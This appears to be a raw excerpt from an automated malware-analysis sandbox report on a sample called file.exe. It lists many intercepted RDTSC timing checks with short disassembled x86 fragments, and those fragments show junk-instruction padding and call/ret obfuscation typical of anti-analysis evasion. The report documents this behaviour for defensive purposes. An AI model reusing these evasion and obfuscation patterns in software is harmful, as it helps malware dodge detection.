Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE2BC second address: ACE2E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jno 00007F5264C7BAF6h 0x00000010 jno 00007F5264C7BAF6h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 jno 00007F5264C7BAFEh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE2E3 second address: ACE2EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA1E8 second address: AFA200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 jmp 00007F5264C7BAFEh 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA200 second address: AFA206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA601 second address: AFA615 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5264C7BAF6h 0x00000008 jc 00007F5264C7BAF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA615 second address: AFA61B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDB1C second address: AFDB20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC41FE second address: AC4202 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4202 second address: AC4219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5264C7BAFFh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4219 second address: AC4233 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA126h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4233 second address: AC4239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4239 second address: AC4275 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007F52647CA116h 0x00000009 jmp 00007F52647CA120h 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F52647CA122h 0x00000018 jc 00007F52647CA11Ch 0x0000001e ja 00007F52647CA116h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4275 second address: AC428D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB02h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC428D second address: AC4293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4293 second address: AC4297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B007DB second address: B007E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B007E3 second address: B007E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B007E9 second address: B007F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B007F8 second address: B007FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFF103 second address: AFF109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B047F0 second address: B047FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 js 00007F5264C7BAF6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B047FF second address: B0482C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F52647CA11Dh 0x0000000c jmp 00007F52647CA129h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0498A second address: B049A0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5264C7BAF6h 0x00000008 jc 00007F5264C7BAF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B049A0 second address: B049B0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F52647CA116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B049B0 second address: B049B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B049B4 second address: B049F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA129h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a js 00007F52647CA138h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F52647CA128h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04C70 second address: B04C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04C75 second address: B04C9B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F52647CA11Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push edi 0x0000000f jmp 00007F52647CA11Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07025 second address: B07029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07029 second address: B07038 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007F52647CA116h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B072F8 second address: B072FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B072FE second address: B07302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B075D4 second address: B075EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5264C7BB04h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B075EF second address: B07615 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F52647CA116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F52647CA128h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07D3A second address: B07D3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07D3E second address: B07D42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07D42 second address: B07D5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5264C7BAFEh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08181 second address: B0818B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F52647CA116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08753 second address: B08757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08757 second address: B0875B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0875B second address: B08764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0B5D8 second address: B0B5DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0B5DC second address: B0B5E6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5264C7BAF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0B5E6 second address: B0B66C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA128h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F52647CA118h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 push 00000000h 0x00000028 xor edi, 5575B62Fh 0x0000002e adc esi, 74759967h 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007F52647CA118h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 00000017h 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 mov esi, dword ptr [ebp+122D1E1Ch] 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007F52647CA11Ch 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0C171 second address: B0C18B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5264C7BB06h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0BF25 second address: B0BF2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0BF2B second address: B0BF2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0BF2F second address: B0BF33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0CC87 second address: B0CC91 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5264C7BAF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0D6A3 second address: B0D6A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0D6A7 second address: B0D6C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5264C7BAFAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0D6C8 second address: B0D6EA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F52647CA128h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B129A9 second address: B129B3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5264C7BAF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B129B3 second address: B12A0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA11Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F52647CA118h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 add dword ptr [ebp+122D2BFFh], esi 0x0000002c push 00000000h 0x0000002e add ebx, dword ptr [ebp+122D2C7Fh] 0x00000034 push 00000000h 0x00000036 mov bx, si 0x00000039 xchg eax, esi 0x0000003a push edi 0x0000003b jp 00007F52647CA11Ch 0x00000041 pop edi 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B12A0D second address: B12A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5264C7BAFDh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B12A1F second address: B12A29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F52647CA116h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B139E8 second address: B139EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B149CD second address: B149DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B149DC second address: B14A24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F5264C7BAF8h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 clc 0x00000026 mov ebx, dword ptr [ebp+122D30A7h] 0x0000002c push 00000000h 0x0000002e mov ebx, eax 0x00000030 push 00000000h 0x00000032 mov edi, esi 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 push eax 0x00000039 pop eax 0x0000003a push ecx 0x0000003b pop ecx 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B169B2 second address: B169CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F52647CA120h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16B75 second address: B16C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007F5264C7BB04h 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F5264C7BAF8h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f stc 0x00000030 push dword ptr fs:[00000000h] 0x00000037 mov dword ptr [ebp+122D3029h], ecx 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 pushad 0x00000045 mov dword ptr [ebp+122D3029h], edx 0x0000004b jbe 00007F5264C7BAFCh 0x00000051 popad 0x00000052 add edi, dword ptr [ebp+122D2FFBh] 0x00000058 mov eax, dword ptr [ebp+122D0069h] 0x0000005e pushad 0x0000005f mov ebx, dword ptr [ebp+122D279Ch] 0x00000065 mov dword ptr [ebp+122D2673h], eax 0x0000006b popad 0x0000006c push FFFFFFFFh 0x0000006e call 00007F5264C7BAFFh 0x00000073 mov di, bx 0x00000076 pop edi 0x00000077 nop 0x00000078 push eax 0x00000079 push edx 0x0000007a jmp 00007F5264C7BAFCh 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B187E2 second address: B187E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B187E8 second address: B187ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B196C1 second address: B196C6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B196C6 second address: B196EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a sbb bh, 00000009h 0x0000000d mov edi, dword ptr [ebp+12452E9Bh] 0x00000013 push 00000000h 0x00000015 cld 0x00000016 push 00000000h 0x00000018 sub bh, 00000062h 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jnp 00007F5264C7BAF6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B196EC second address: B19705 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA125h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B6EE second address: B1B70A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5264C7BB02h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B70A second address: B1B718 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F52647CA116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A811 second address: B1A82D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5264C7BB08h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1992A second address: B19930 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A82D second address: B1A852 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1DA2F second address: B1DA58 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F52647CA11Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F52647CA11Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 jo 00007F52647CA116h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19930 second address: B19934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A852 second address: B1A856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1DA58 second address: B1DA6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18A5B second address: B18A65 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F52647CA116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A856 second address: B1A85A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F5FD second address: B1F601 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F601 second address: B1F681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5264C7BB00h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F5264C7BAF8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 mov ebx, dword ptr [ebp+122D245Ch] 0x0000002f mov edi, dword ptr [ebp+122D2DFFh] 0x00000035 push 00000000h 0x00000037 or di, A6BCh 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push edx 0x00000041 call 00007F5264C7BAF8h 0x00000046 pop edx 0x00000047 mov dword ptr [esp+04h], edx 0x0000004b add dword ptr [esp+04h], 00000015h 0x00000053 inc edx 0x00000054 push edx 0x00000055 ret 0x00000056 pop edx 0x00000057 ret 0x00000058 mov ebx, 247A0690h 0x0000005d xchg eax, esi 0x0000005e pushad 0x0000005f ja 00007F5264C7BAFCh 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F681 second address: B1F6AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA126h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F52647CA11Ch 0x00000013 jns 00007F52647CA116h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B20616 second address: B20680 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 jmp 00007F5264C7BAFFh 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F5264C7BAF8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebx 0x0000002e call 00007F5264C7BAF8h 0x00000033 pop ebx 0x00000034 mov dword ptr [esp+04h], ebx 0x00000038 add dword ptr [esp+04h], 0000001Bh 0x00000040 inc ebx 0x00000041 push ebx 0x00000042 ret 0x00000043 pop ebx 0x00000044 ret 0x00000045 movzx ebx, dx 0x00000048 xchg eax, esi 0x00000049 push ecx 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B20680 second address: B20684 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B217BB second address: B217DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B217DA second address: B217DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B227EC second address: B227F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
